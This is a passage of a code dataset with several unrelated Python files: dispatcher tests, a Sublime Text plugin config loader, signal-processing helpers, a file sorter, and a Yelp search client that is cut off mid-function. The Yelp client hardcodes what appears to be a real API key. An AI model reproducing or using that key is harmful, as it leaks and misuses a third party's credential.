curr_timestamp,\n }\n\n # Cache post\n cached_post = cache.get(id)\n\n # Check if post exists in memory\n if cached_post:\n # Check if there are mutations with new data\n if cached_post != STATE[id]:\n\n # Get upvote mutation\n mutation = get_mutations(id, cached_post, STATE[id], \"ups\")\n\n # Set rows for `vote_mutations_table`\n if mutation:\n\n # Shorten headline for smooth rendering\n title = truncate_text(STATE[id][\"headline\"])\n\n # Get date and time when mutation was received\n when = datetime.fromtimestamp(mutation[\"timestamp\"])\n\n # Add single row\n vote_mutations_table.add_row(\n [\n mutation[\"id\"],\n title,\n mutation[\"type\"],\n when,\n mutation[\"current\"],\n mutation[\"before\"],\n mutation[\"diff\"],\n ]\n )\n\n # Replace the value of the existing post in cache\n cache.replace(id, STATE[id])\n\n else:\n # Cache the new post\n cache.add(id, STATE[id])\n\n # Append id\n payload_post_ids.append(id)\n\n # Set rows for `top_table\n title = truncate_text(headline)\n top_table.add_row([index, id, ups, title])\n\n # Increment count\n index += 1\n\n # Get diff from cached data and payload\n no_loner_in_top_list = list(set(cached_post_ids) - set(payload_post_ids))\n\n if no_loner_in_top_list:\n # [TABLE] No Longer in the top list\n print(NO_LONGER_IN_TOP_LIST_HEADING)\n for i in no_loner_in_top_list:\n title = truncate_text(cache.get(i)[\"headline\"])\n ups = cache.get(i)[\"ups\"]\n\n no_longer_top_table.add_row([id, ups, title])\n\n print(no_longer_top_table, \"\\n\")\n\n # Remove legacy posts and update cache\n cache.delete_many(no_loner_in_top_list)\n cache.replace(\"ids\", payload_post_ids)\n else:\n # Reset cache for post ids\n cache.set(\"ids\", payload_post_ids)\n\n # [TABLE] Top list\n print(TOP_LIST_HEADING)\n print(top_table, \"\\n\")\n\n # [TABLE] Mutations\n print(MUTATIONS_HEADING)\n print(vote_mutations_table, \"\\n\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"529414954","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (C) 2010-2013 Petri Heinilä, License LGPL 2.1\n\nimport sys\nsys.path.append(\"..\") # look inwiser on .. for running test server\nimport os\nimport unittest\nimport time\nif not hasattr(time, \"monotonic\"):\n time.monotonic = time.time\nimport subprocess\nimport socket\nimport threading\nimport logging\nlog = logging.getLogger(__name__)\nD = log.debug\nI = log.info\nimport tempfile\nfrom hevi_lib.dispatchers import iodispatcher, timedispatcher, when_read, \\\n when_write, dispatch, _timedispatcher, _iodispatcher\n\n\n##############################################################################\nclass TestTimerDispatcher(unittest.TestCase):\n\n def setUp(self):\n self.done = False\n self.counter1 = 0\n self.counter2 = 0\n\n def on_timeout1(self, timer):\n D(\"on_timeout()\")\n assert timer.atime <= time.monotonic()\n self.counter1 += 1\n self.done = True\n return 0\n\n def on_timeout2(self, timer):\n D(\"on_timeout2()\")\n assert timer.atime <= time.monotonic()\n self.counter2 += 1\n return 1\n\n def test_01(self):\n \"\"\" \"\"\"\n timedispatcher.when_delay(0.9, self.on_timeout2)\n timedispatcher.when_delay(5, self.on_timeout1)\n while not self.done:\n rtime = timedispatcher.dispatch(0.1)\n assert self.counter1 == 1\n assert self.counter2 == 5\n\n def test_02(self):\n dp = _timedispatcher()\n timer = dp.when_delay(1, self.on_timeout1)\n assert timer == dp._queue[0]\n timer.cancel()\n assert len(dp._queue) == 0\n\n def on_timeout3(self, timer, value):\n D(\"on_timeout3\")\n self.r_value = value\n\n def test_03(self):\n dp = _timedispatcher()\n timer = dp.when_delay(0.1, self.on_timeout3, 2345)\n dp.dispatch(0.2)\n assert self.r_value == 2345\n\n\n##############################################################################\nclass TestServer(unittest.TestCase):\n\n def setUp(self, ssfunc):\n \"\"\" ssfunc is server start function. \"\"\"\n self.proc = subprocess.Popen([sys.executable, __file__, ssfunc])\n I(\"setUp server {} {}\".format(self.proc.pid, ssfunc))\n time.sleep(1)\n\n def tearDown(self):\n I(\"tearDown server {} waiting server stop ..\".format(self.proc.pid))\n self.proc.wait()\n\n##############################################################################\n\n\nclass TestIODispatcher(unittest.TestCase):\n\n def on_read(self, event, value):\n D(\"on_read event={} value={}\".format(event, value))\n self.revent = event\n self.rvalue = value\n\n def on_write(self, event, value):\n D(\"on_write event={} value={}\".format(event, value))\n self.wevent = event\n self.wvalue = value\n\n def test_02(self):\n \"\"\" write add \"\"\"\n dp = _iodispatcher()\n fo = socket.socket()\n dp.when_write(fo, self.on_write)\n assert dp._events[0].fo == fo\n fo.close()\n\n def test_04(self):\n \"\"\" call write \"\"\"\n dp = _iodispatcher()\n fo = socket.socket()\n dp.when_read(fo, self.on_read, 3000)\n dp._events[0]._call()\n assert self.revent.fo == fo\n assert self.rvalue == 3000\n fo.close()\n\n##############################################################################\necho_port = 12347\n\n\nclass TestDispatcherServer(TestServer):\n\n def setUp(self):\n super(TestDispatcherServer, self).setUp(\"start_echo\")\n\n def test_01(self):\n \"\"\" Test echo connection \"\"\"\n cso = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n cso.connect((\"localhost\", echo_port))\n text = \"TEST\\n\"\n cso.send(text.encode())\n data = cso.recv(4096)\n D(\"recv {}\".format(data))\n assert data.decode() == text\n cso.close()\n\n def test_02(self):\n \"\"\" Test two echo connection \"\"\"\n cso1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n cso2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n cso1.connect((\"localhost\", echo_port))\n cso2.connect((\"localhost\", echo_port))\n #\n text = \"TEST CSO 1\\n\"\n cso1.send(text.encode())\n data = cso1.recv(4096)\n D(\"recv {}\".format(data))\n assert data.decode() == text\n cso1.close()\n #\n text = \"TEST CSO 2\\n\"\n cso2.send(text.encode())\n data = cso2.recv(4096)\n D(\"recv {}\".format(data))\n assert data.decode() == text\n cso2.close()\n\n def test_03(self):\n \"\"\" Test multiple connections \"\"\"\n N = 10\n # N = 1000 # adjust die timer to 2*60 as well\n conns = list()\n for i in range(N):\n conns.append(socket.socket())\n for cso in conns:\n cso.connect((\"localhost\", echo_port))\n for i, cso in enumerate(conns):\n text = \"TEST {}\\n\".format(i)\n D(\"SEND {}\".format(text))\n cso.send(text.encode())\n data = cso.recv(4096)\n D(\"RECV {}\".format(data))\n assert data.decode() == text\n for cso in conns:\n cso.close()\n D(\"done\")\n\n##############################################################################\n\n\nclass Echo:\n\n def __init__(self):\n self.lso = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.lso.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.lso.bind((\"\", echo_port))\n self.lso.listen(5)\n iodispatcher.when_read(self.lso, self.on_connect)\n self.csos = dict() # cso -> event\n\n def on_connect(self, event):\n D(\"on_connect()\")\n cso, paddr = self.lso.accept()\n self.csos[cso] = iodispatcher.when_read(cso, self.on_read)\n return 1\n\n def on_read(self, event):\n D(\"on_read({})\".format(event.fo.fileno()))\n data = event.fo.recv(4096)\n D(\"recv({})\".format(data))\n if data == None or len(data) == 0: # peer close\n D(\"PEER CLOSE on {}\".format(event.fo.fileno()))\n iodispatcher.cancel(self.csos[event.fo])\n del self.csos[event.fo]\n else:\n event.fo.send(data)\n if len(self.csos) == 0:\n D(\"is_done\")\n global is_done\n is_done = True\n return len(self.csos)\n\nis_done = False\n\n\ndef start_echo():\n D(\"start_echo()\")\n echo = Echo()\n while not is_done:\n iodispatcher.dispatch(60)\n #D(\"is_done = {}\".format(is_done))\n timer.cancel()\n D(\"done\")\n sys.exit()\n\n##############################################################################\n\n\ndef die():\n D(\"die()\")\n global is_done\n is_done = True\n sys.exit()\n\nif __name__ == '__main__':\n # logging.basicConfig(level=logging.DEBUG)\n if len(sys.argv) > 1:\n ssfunc = sys.argv[1]\n log = logging.getLogger(__name__ + \".\" + ssfunc)\n D = log.debug\n ssfunc = globals()[ssfunc]\n timer = threading.Timer(5, die)\n timer.start()\n ssfunc()\n else:\n # unittest.main()\n D(os.getcwd())\n","sub_path":"test/test_dispatchers.py","file_name":"test_dispatchers.py","file_ext":"py","file_size_in_byte":7100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"63625928","text":"'''\nSource : https://leetcode.com/problems/sort-array-by-parity/\nAuthor : Yuan Wang\nDate : 2019-01-03\n\n/********************************************************************************** \n*Given an array A of non-negative integers, half of the integers in A are odd, and \n*half of the integers are even.\n*\n*Sort the array so that whenever A[i] is odd, i is odd; and whenever A[i] is even, i is even.\n*\n*You may return any answer array that satisfies this condition.\n\nExample 1:\n\nInput: [4,2,5,7]\nOutput: [4,5,2,7]\nExplanation: [4,7,2,5], [2,5,4,7], [2,7,4,5]\nwould be accepted\n**********************************************************************************/\n'''\n\n#Self solution, Time complexity:O(n) Space complexity:O(n)\ndef sortArrayByParityII(A):\n \"\"\"\n :type A: List[int]\n :rtype: List[int]\n \"\"\"\n B=[0]*len(A)\n \n even = 0\n odd = 1\n for i in A:\n if i % 2 == 0:\n B[even] = i\n even += 2\n else:\n B[odd] = i\n odd += 2\n return B\n\nimport unittest\nclass Test(unittest.TestCase):\n\n def setUp(self):\n self.A = [4,2,5,7]\n\n def test_A(self):\n self.assertEqual(sortArrayByParityII(self.A), [4,5,2,7])\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"Array/sortArrayByParityII.py","file_name":"sortArrayByParityII.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"653520398","text":"# coding= utf-8\n\nimport sublime\nimport sys, re, os, time, codecs\n\nif sys.version < '3':\n import urllib2, urllib\nelse:\n import urllib.request as urllib2\n import urllib.parse as urllib\n\nif sys.version < '3':\n from c import *\nelse:\n from .c import *\n\n\nclass Setting:\n engine= ''\n\n\n\n#check for:\n# first, subsequent window\n# open existing, unexistent\n# local, global, global unexistent\n# \n\nclass Config():\n sublimeRoot= ''\n isGlobal= False\n\n cWnd= None\n defaultHttpApi= 'typetodo.com'\n\n defaultHeader= \"# Uncomment and configure. ALL matched lines matters:\\n\"\\\n +\"# file [absolute_path/]filename.ext\\n\"\\\n +\"# mysql 127.0.0.1 username password scheme\\n\"\\\n +\"# http typetodo.com repository [username password]\\n\"\n\n\n\n projectUser= '**Anon'\n projectRoot= ''\n projectName= ''\n\n\n settings= None\n\n globalInited= False\n\n lastProjectFolders= []\n lastProjectHeader= None\n lastCfgFile= None\n\n \n def __init__(self, _forceGlobal=False):\n self.isGlobal= _forceGlobal\n\n self.cWnd= sublime.active_window()\n self.sublimeRoot= os.path.join(sublime.packages_path(), 'User')\n\n self.update()\n\n\n\n\n\n\n\n def update(self):\n if 'USERNAME' in os.environ: self.projectUser= os.environ['USERNAME']\n\n self.projectRoot= self.sublimeRoot\n self.projectName= ''\n\n if not self.isGlobal:\n if self.isWindowExists(): #should skip 'coz secondary window will return [] as it closes\n self.lastProjectFolders= self.cWnd.folders()\n\n if len(self.lastProjectFolders):\n self.projectRoot= self.lastProjectFolders[0]\n self.projectName= os.path.split(self.lastProjectFolders[0])[1]\n\n _cfgFile= os.path.join(self.projectRoot, self.projectName +'.do')\n\n\n cSettings= self.readCfg(_cfgFile) or self.initGlobalDo()\n\n if cSettings:\n if self.lastCfgFile!=_cfgFile or self.lastProjectHeader!=cSettings[0].head:\n cSettings[0].file= _cfgFile #filename need TO save\n self.lastCfgFile= cSettings[0].file\n self.lastProjectHeader= cSettings[0].head\n\n self.settings= cSettings\n\n\n if not os.path.isfile(_cfgFile):\n print ('TypeTodo init: Writing project\\'s config.')\n try:\n with codecs.open(_cfgFile, 'w+', 'UTF-8') as f:\n f.write(self.lastProjectHeader)\n f.write(\"\\n\")\n except:\n None\n\n return True\n return\n\n print ('TypeTodo error: Config could not be read.')\n self.lastCfgFile= None\n self.lastProjectHeader= None\n\n\n\n\n def isWindowExists(self):\n if sys.version<'3':\n if self.cWnd.id():\n return True\n else:\n if self.cWnd.project_data():\n return True\n\n\n\n\n\n\n\n\n def readCfg(self, _cfgFile):\n try:\n f= codecs.open(_cfgFile, 'r', 'UTF-8')\n except:\n f= False\n if not f:\n return\n\n\n cSettings= []\n doSetting= Setting()\n cSettings.append(doSetting) #[0] will refer to .do itself; engine should be blank if overriden\n\n headerCollect= ''\n\n fileSetFound= False\n while True:\n l= f.readline().splitlines()\n if l==[] or l[0]=='' or not l[0]:\n break\n\n cfgString= l[0]\n\n headerCollect+= cfgString +\"\\n\"\n #catch last matched config\n cfgFoundTry= RE_CFG.match(cfgString)\n if cfgFoundTry:\n cSetting= Setting()\n\n curCfg= cfgFoundTry.groupdict()\n if curCfg['enginefile']:\n fileSetFound= True\n cSetting.engine= 'file'\n if os.path.dirname(curCfg['fname'])=='':\n cSetting.file= os.path.join(self.projectRoot, curCfg['fname'])\n else:\n cSetting.file= curCfg['fname']\n cSetting.head= ''\n\n if os.path.normcase(cSetting.file)==os.path.normcase(_cfgFile):\n cSetting= False #prevent explicit .do as 'file'\n fileSetFound= False\n\n\n if curCfg['enginesql']:\n cSetting.engine= 'mysql'\n cSetting.addr= curCfg['addrs']\n cSetting.login= curCfg['logins']\n cSetting.passw= curCfg['passws']\n cSetting.base= curCfg['bases']\n\n\n if curCfg['enginehttp']:\n cSetting.engine= 'http'\n cSetting.addr= curCfg['addrh']\n cSetting.login= curCfg['loginh']\n cSetting.passw= curCfg['passwh']\n cSetting.base= curCfg['baseh']\n\n\n if cSetting:\n cSettings.append(cSetting)\n\n\n\n if not fileSetFound:\n doSetting.engine= 'file'\n\n doSetting.head= headerCollect\n \n\n return cSettings\n\n\n\n\n\n\n\n\n def initGlobalDo(self, _force=False):\n _cfgFile= os.path.join(self.sublimeRoot, '.do')\n\n if not _force:\n cCfg= self.readCfg(_cfgFile)\n if cCfg:\n return cCfg\n\n\n self.globalInited= True\n\n cSettings= []\n doSetting= Setting()\n cSettings.append(doSetting)\n doSetting.engine= 'file'\n\n headerCollect= self.defaultHeader\n\n\n httpInitFlag= sublime.ok_cancel_dialog('TypeTodo init:\\n\\n\\tStart with new public HTTP storage?')\n\n #request new random public repository\n if httpInitFlag:\n req = urllib2.Request('http://' +self.defaultHttpApi +'/?=newrep')\n try:\n cRep= bytes.decode( urllib2.urlopen(req).read() )\n\n print(\"New TypeTodo repository: \" +cRep)\n sublime.set_timeout(lambda: sublime.status_message('New TypeTodo repository initialized'), 1000)\n\n cSetting= Setting()\n cSettings.append(cSetting)\n\n cSetting.engine= 'http'\n cSetting.addr= self.defaultHttpApi\n cSetting.base= cRep\n cSetting.login= cSetting.passwh= ''\n\n headerCollect+= cSetting.engine +\" \" +cSetting.addr +\" \" +cSetting.base +\"\\n\"\n\n\n except:\n sublime.set_timeout(lambda: sublime.error_message('TypeTodo error:\\n\\n\\tcannot init new HTTP repository,\\n\\tdefault storage mode will be `file`'), 1000)\n\n\n\n try:\n with codecs.open(_cfgFile, 'w+', 'UTF-8') as f:\n f.write(headerCollect)\n except:\n sublime.set_timeout(lambda: sublime.error_message('TypeTodo error:\\n\\n\\tglobal config cannot be created'), 1000)\n return\n\n\n doSetting.head= headerCollect\n\n return cSettings\n\n\n","sub_path":"cfg.py","file_name":"cfg.py","file_ext":"py","file_size_in_byte":7058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"477548944","text":"#!/usr/bin/env python\n\nimport numpy as np\nfrom numpy.fft import fft, fftfreq\nfrom scipy.integrate import trapz, cumtrapz\nfrom scipy.interpolate import UnivariateSpline\nfrom scipy.signal import butter, filtfilt\nfrom scipy.stats import nanmean\n\ndef fit_goodness(ym, yp):\n '''\n Calculate the goodness of fit.\n\n Parameters\n ----------\n ym : ndarray, shape(n,)\n The vector of measured values.\n yp : ndarry, shape(n,)\n The vector of predicted values.\n\n Returns\n -------\n rsq : float\n The r squared value of the fit.\n SSE : float\n The error sum of squares.\n SST : float\n The total sum of squares.\n SSR : float\n The regression sum of squares.\n\n '''\n SSR = sum((yp - np.mean(ym))**2)\n SST = sum((ym - np.mean(ym))**2)\n SSE = SST - SSR\n rsq = SSR / SST\n return rsq, SSE, SST, SSR\n\ndef spline_over_nan(x, y):\n \"\"\"\n Returns a vector of which a cubic spline is used to fill in gaps in the\n data from nan values.\n\n Parameters\n ----------\n x : ndarray, shape(n,)\n This x values should not contain nans.\n y : ndarray, shape(n,)\n The y values may contain nans.\n\n Returns\n -------\n ySpline : ndarray, shape(n,)\n The splined y values. If `y` doesn't contain any nans then `ySpline` is\n `y`.\n\n Notes\n -----\n The splined data is identical to the input data, except that the nan's are\n replaced by new data from the spline fit.\n\n \"\"\"\n\n # if there are nans in the data then spline away\n if np.isnan(y).any():\n # remove the values with nans\n xNoNan = x[np.nonzero(np.isnan(y) == False)]\n yNoNan = y[np.nonzero(np.isnan(y) == False)]\n # fit a spline through the data\n spline = UnivariateSpline(xNoNan, yNoNan, k=3, s=0)\n return spline(x)\n else:\n return y\n\ndef curve_area_stats(x, y):\n '''\n Return the box plot stats of a curve based on area.\n\n Parameters:\n -----------\n x : ndarray, shape (n,)\n The x values\n y : ndarray, shape (n,m)\n The y values\n n are the time steps\n m are the various curves\n\n Returns:\n --------\n A dictionary containing:\n median : ndarray, shape (m,)\n The x value corresponding to 0.5*area under the curve\n lq : ndarray, shape (m,)\n lower quartile\n uq : ndarray, shape (m,)\n upper quartile\n 98p : ndarray, shape (m,)\n 98th percentile\n 2p : ndarray, shape (m,)\n 2nd percentile\n\n '''\n area = trapz(y, x=x, axis=0) # shape (m,)\n percents = np.array([0.02*area, 0.25*area, 0.5*area, 0.75*area, 0.98*area]) # shape (5,m)\n CumArea = cumtrapz(y.T, x=x.T) # shape(m,n)\n xstats = {'2p':[], 'lq':[], 'median':[], 'uq':[], '98p':[]}\n for j, curve in enumerate(CumArea):\n flags = [False for flag in range(5)]\n for i, val in enumerate(curve):\n if val > percents[0][j] and flags[0] == False:\n xstats['2p'].append(x[i])\n flags[0] = True\n elif val > percents[1][j] and flags[1] == False:\n xstats['lq'].append(x[i])\n flags[1] = True\n elif val > percents[2][j] and flags[2] == False:\n xstats['median'].append(x[i])\n flags[2] = True\n elif val > percents[3][j] and flags[3] == False:\n xstats['uq'].append(x[i])\n flags[3] = True\n elif val > percents[4][j] and flags[4] == False:\n xstats['98p'].append(x[i])\n flags[4] = True\n if flags[4] == False:\n # this is what happens if it finds none of the above\n xstats['2p'].append(0.)\n xstats['lq'].append(0.)\n xstats['median'].append(0.)\n xstats['uq'].append(0.)\n xstats['98p'].append(0.)\n for k, v in xstats.items():\n xstats[k] = np.array(v)\n return xstats\n\ndef freq_spectrum(data, sampleRate):\n \"\"\"\n Return the frequency spectrum of a data set.\n\n Parameters\n ----------\n data : ndarray, shape (m,) or shape(n,m)\n The array of time signals where n is the number of variables and m is\n the number of time steps.\n sampleRate : int\n The signal sampling rate in hertz.\n\n Returns\n -------\n frequency : ndarray, shape (p,)\n The frequencies where p is a power of 2 close to m.\n amplitude : ndarray, shape (p,n)\n The amplitude at each frequency.\n\n \"\"\"\n def nextpow2(i):\n '''\n Return the next power of 2 for the given number.\n\n '''\n n = 2\n while n < i: n *= 2\n return n\n\n time = 1. / sampleRate # sample time\n try:\n L = data.shape[1] # length of data if (n, m)\n except:\n L = data.shape[0] # length of data if (n,)\n # calculate the closest power of 2 for the length of the data\n n = nextpow2(L)\n Y = fft(data, n) / L # divide by L for scaling\n f = fftfreq(n, d=time)\n #f = sampleRate/2.*linspace(0, 1, n)\n #print 'f =', f, f.shape, type(f)\n frequency = f[1:n / 2]\n try:\n amplitude = 2 * abs(Y[:, 1:n / 2]).T # multiply by 2 because we take half the vector\n #power = abs(Y[:, 1:n/2])**2\n except:\n amplitude = 2 * abs(Y[1:n / 2])\n #power = abs(Y[1:n/2])**2\n return frequency, amplitude\n\ndef butterworth(data, cutoff, sampleRate, order=2, axis=-1):\n \"\"\"\n Returns the filtered data for a low pass Butterworth filter.\n\n Parameters\n ----------\n data : ndarray\n The data to filter.\n cutoff : float or int\n The cutoff frequency in hertz.\n sampleRate : float or int\n The sampling rate in hertz.\n order : int\n The order of the Butterworth filter.\n axis : int\n The axis to filter along.\n\n Returns\n -------\n filteredData : ndarray\n The low pass filtered version of data.\n\n Notes\n -----\n This does a forward and backward Butterworth filter.\n\n \"\"\"\n\n b, a = butter(order, float(cutoff) / float(sampleRate) / 2.)\n\n return filtfilt(b, a, data, axis=axis)\n\ndef subtract_mean(sig, hasNans=False):\n '''\n Subtracts the mean from a signal with nanmean.\n\n Parameters\n ----------\n sig : ndarray, shape(n,)\n hasNans : boolean, optional\n If your data has nans use this flag if you want to ignore them.\n\n Returns\n -------\n ndarray, shape(n,)\n sig minus the mean of sig\n\n '''\n if hasNans:\n return sig - nanmean(sig)\n else:\n return sig - np.mean(sig)\n\ndef normalize(sig, hasNans=False):\n '''\n Normalizes the vector with respect to the maximum value.\n\n Parameters\n ----------\n sig : ndarray, shape(n,)\n hasNans : boolean, optional\n If your data has nans use this flag if you want to ignore them.\n\n Returns\n -------\n normSig : ndarray, shape(n,)\n The signal normalized with respect to the maximum value.\n\n '''\n if hasNans:\n normSig = sig / np.nanmax(sig)\n else:\n normSig = sig / np.max(sig)\n\n return normSig\n\ndef derivative(x, y, method='forward'):\n '''\n Returns the derivative of y with respect to x.\n\n Parameters\n ----------\n x : ndarray, shape(n,)\n y : ndarray, shape(n,)\n method : string, optional\n 'forward' : Use the forward difference method.\n 'central' : Use the central difference method.\n 'backward' : Use the backward difference method.\n 'combination' : Use forward on the first point, backward on the last\n and central on the rest.\n\n Returns\n -------\n dydx : ndarray, shape(n,) or shape(n-1,)\n for combination else shape(n-1,)\n\n '''\n if method == 'forward':\n return np.diff(y) / np.diff(x)\n elif method == 'combination':\n dxdy = np.zeros_like(y)\n for i, yi in enumerate(y[:]):\n if i == 0:\n dxdy[i] = (-3 * y[0] + 4 * y[1] - y[2])\\\n / 2 / (x[1] - x[0])\n elif i == len(y) - 1:\n dxdy[-1] = (3 * y[-1] - 4 * y[-2] + y[-3])\\\n / 2 / (x[-1] - x[-2])\n else:\n dxdy[i] = (y[i + 1] - y[i - 1]) / 2 / (x[i] - x[i - 1])\n return dxdy\n else:\n raise NotImplementedError(\"There is no %s method here! Only 'forward'\\\n and 'combination' are currently available.\" % method)\n\ndef time_vector(numSamples, sampleRate):\n '''Returns a time vector starting at zero.\n\n Parameters\n ----------\n numSamples : int or float\n Total number of samples.\n sampleRate : int or float\n Sample rate of the signal in hertz.\n\n Returns\n -------\n time : ndarray, shape(numSamples,)\n Time vector starting at zero.\n\n '''\n ns = float(numSamples)\n sr = float(sampleRate)\n return np.linspace(0., (ns - 1.) / sr, num=ns)\n","sub_path":"dtk/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":8856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"102695523","text":"'''\nModulo encargado de:\n-Asegurar que se haya seleccionado, sino asignar 0 en archivo, para evitar error.\n-Almacenar los archivos en variables globales para su futuro acceso.\n'''\nfrom tkinter import filedialog\nfrom tkinter.messagebox import showerror\n###############################################################################\n######################Directorio de archivos txt###############################\n#############################################################################\nrepo = \"~/Documentos/Codigo/Proyecto_UNAM/UNAM_Flujometro-master/Demo_Osciloscopio_Flujometro\"\n###############################################################################\n###########################Selector de archivos###############################\n#############################################################################\nglobal archivo_tiempo, archivo_argon, archivo_nitrogeno, archivo_oxigeno, archivo_hidrogeno\narchivo_tiempo = 0\narchivo_argon = 0\narchivo_nitrogeno = 0\narchivo_oxigeno = 0\narchivo_hidrogeno = 0\n\ndef browse_tiempo():\n global archivo_tiempo\n archivo_tiempo = filedialog.askopenfilename(initialdir = repo, title = \"Select file\",\n filetypes = ((\"txt files\",\"*.txt\"),(\"all files\",\"*.*\")))\n if len(archivo_tiempo) < 1:\n archivo_tiempo = 0\n\ndef browse_argon():\n global archivo_argon\n archivo_argon = filedialog.askopenfilename(initialdir = repo, title = \"Select file\",\n filetypes = ((\"txt files\",\"*.txt\"),(\"all files\",\"*.*\")))\n if len(archivo_argon) < 1:\n archivo_argon = 0\n\ndef browse_nitrogeno():\n global archivo_nitrogeno\n archivo_nitrogeno = filedialog.askopenfilename(initialdir = repo, title = \"Select file\",\n filetypes = ((\"txt files\",\"*.txt\"),(\"all files\",\"*.*\")))\n if len(archivo_nitrogeno) < 1:\n archivo_nitrogeno = 0\n\ndef browse_oxigeno():\n global archivo_oxigeno\n archivo_oxigeno = filedialog.askopenfilename(initialdir = repo, title = \"Select file\",\n filetypes = ((\"txt files\",\"*.txt\"),(\"all files\",\"*.*\")))\n if len(archivo_oxigeno) < 1:\n archivo_oxigeno = 0\n\ndef browse_hidrogeno():\n global archivo_hidrogeno\n archivo_hidrogeno = filedialog.askopenfilename(initialdir = repo, title = \"Select file\",\n filetypes = ((\"txt files\",\"*.txt\"),(\"all files\",\"*.*\")))\n if len(archivo_hidrogeno) < 1:\n archivo_hidrogeno = 0\n\nif(__name__) == '__main__':\n main()\n","sub_path":"pending_gui/demo_no_diseño/callback_selector.py","file_name":"callback_selector.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"645738470","text":"import os\n\nif not os.path.exists('win'):\n os.makedirs('win/')\nif not os.path.exists('lose'):\n os.makedirs('lose/')\nif not os.path.exists('unknown'):\n os.makedirs('unknown/')\nfor filename in os.listdir():\n if '.' not in filename:\n try:\n f = open(filename, 'r')\n s = f.read()\n f.close()\n if 'win' in s:\n os.rename(filename, 'win/'+filename)\n elif 'lose' in s:\n os.rename(filename, 'lose/'+filename)\n else:\n os.rename(filename, 'unknown/'+filename)\n except:\n pass\n","sub_path":"python/catogorize.py","file_name":"catogorize.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"275822457","text":"# -*- coding: utf-8 -*-\n\n#To install the dependencies, run: pip install -r requirements.txt.\n\nfrom __future__ import print_function\n\n#import argparse\nimport json\nimport pprint\nimport requests\nimport sys\nimport urllib\n\n# This client code can run on Python 2.x or 3.x. Your imports can be\n# simpler if you only need one of those.\ntry:\n # For Python 3.0 and later\n from urllib.error import HTTPError\n from urllib.parse import quote\n from urllib.parse import urlencode\nexcept ImportError:\n # Fall back to Python 2's urllib2 and urllib\n from urllib2 import HTTPError\n from urllib import quote\n from urllib import urlencode\n\nAPI_KEY= \"fHkSjyMHjIBjR0v0_xxT_PhRH4Nw0wvB_pNvsH7vf-G_leB592KX5UILWyIiyx8Wtbso89oYqVBJSiDasZGtr5aWE5Sdt6GGPgveSMQtSoPiH_vbxAmbQVnNXtJ1WnYx\"\nAPI_HOST = 'https://api.yelp.com'\n\nSEARCH_PATH = '/v3/businesses/search'\nBUSINESS_PATH = '/v3/businesses/' # Business ID will come after slash.\nSEARCH_LIMIT = 10\n\ndef request(host, path, api_key, url_params=None):\n \"\"\"Given your API_KEY, send a GET request to the API.\n\n Args:\n host (str): The domain host of the API.\n path (str): The path of the API after the domain.\n API_KEY (str): Your API Key.\n url_params (dict): An optional set of query parameters in the request.\n\n Returns:\n dict: The JSON response from the request.\n\n Raises:\n HTTPError: An error occurs from the HTTP request.\n \"\"\"\n url_params = url_params or {}\n url = '{0}{1}'.format(host, quote(path.encode('utf8')))\n headers = {\n 'Authorization': 'Bearer %s' % api_key,\n }\n\n print(u'Querying {0} ...'.format(url))\n\n response = requests.request('GET', url, headers=headers, params=url_params)\n\n return response.json()\n\n\ndef search(api_key, categories, term, location, open_now):\n \"\"\"Query the Search API by a search categories and location.\n\n Args:\n categories (str): The search categories passed to the API.\n location (str): The search location passed to the API.\n\n Returns:\n dict: The JSON response from the request.\n \"\"\"\n\n url_params = {\n 'categories': categories.replace(' ', '+'),\n 'term': term.replace(' ', '+'),\n 'location': location.replace(' ', '+'),\n #'open_now': open_now.replace(' ', '+'),\n 'limit': SEARCH_LIMIT\n }\n return request(API_HOST, SEARCH_PATH, api_key, url_params=url_params)\n\n\ndef get_business(api_key, business_id):\n \"\"\"Query the Business API by a business ID.\n\n Args:\n business_id (str): The ID of the business to query.\n\n Returns:\n dict: The JSON response from the request.\n \"\"\"\n business_path = BUSINESS_PATH + business_id\n\n return request(API_HOST, business_path, api_key)\n\n\ndef query_api(categories, term, location, open_now):\n \"\"\"Queries the API by the input values from the user.\n\n Args:\n term (str): The search term to query.\n location (str): The location of the business to query.\n \"\"\"\n response = search(API_KEY, categories, term, location, open_now)\n\n #response.get returns an array of possible businesses\n businesses = response.get('businesses')\n\n if not businesses:\n print('No businesses for {0} in {1} found.'.format(term, location))\n return\n\n name = businesses[0]['name']\n name1 = businesses[1]['name']\n name2 = businesses[2]['name']\n\n price = businesses[0][\"price\"]\n price1 = businesses[1][\"price\"]\n price2 = businesses[2][\"price\"]\n\n location = businesses[0][\"location\"]\n location1 = businesses[1][\"location\"]\n location2 = businesses[2][\"location\"]\n\n print('{0} businesses found, querying business info ' \\\n 'for the top three results: \"{1}\", \"{2}\", and \"{3}\" ...'.format(\n len(businesses), name, name1, name2))\n\n # print('Results for business \"{0}\" found:'.format(name))\n # pprint.pprint(businesses[0][\"price\"], indent=1)\n # pprint.pprint(businesses[1][\"price\"], indent=1)\n print('\"{0}\" \\n \"{1}\" \\n \"{2}\" \\n' .format(name, price, location))\n print('\"{0}\" \\n \"{1}\" \\n \"{2}\" \\n' .format(name1, price1, location1))\n print('\"{0}\" \\n \"{1}\" \\n \"{2}\" \\n' .format(name2, price2, location2))\n\n\ndef main():\n\n categories = 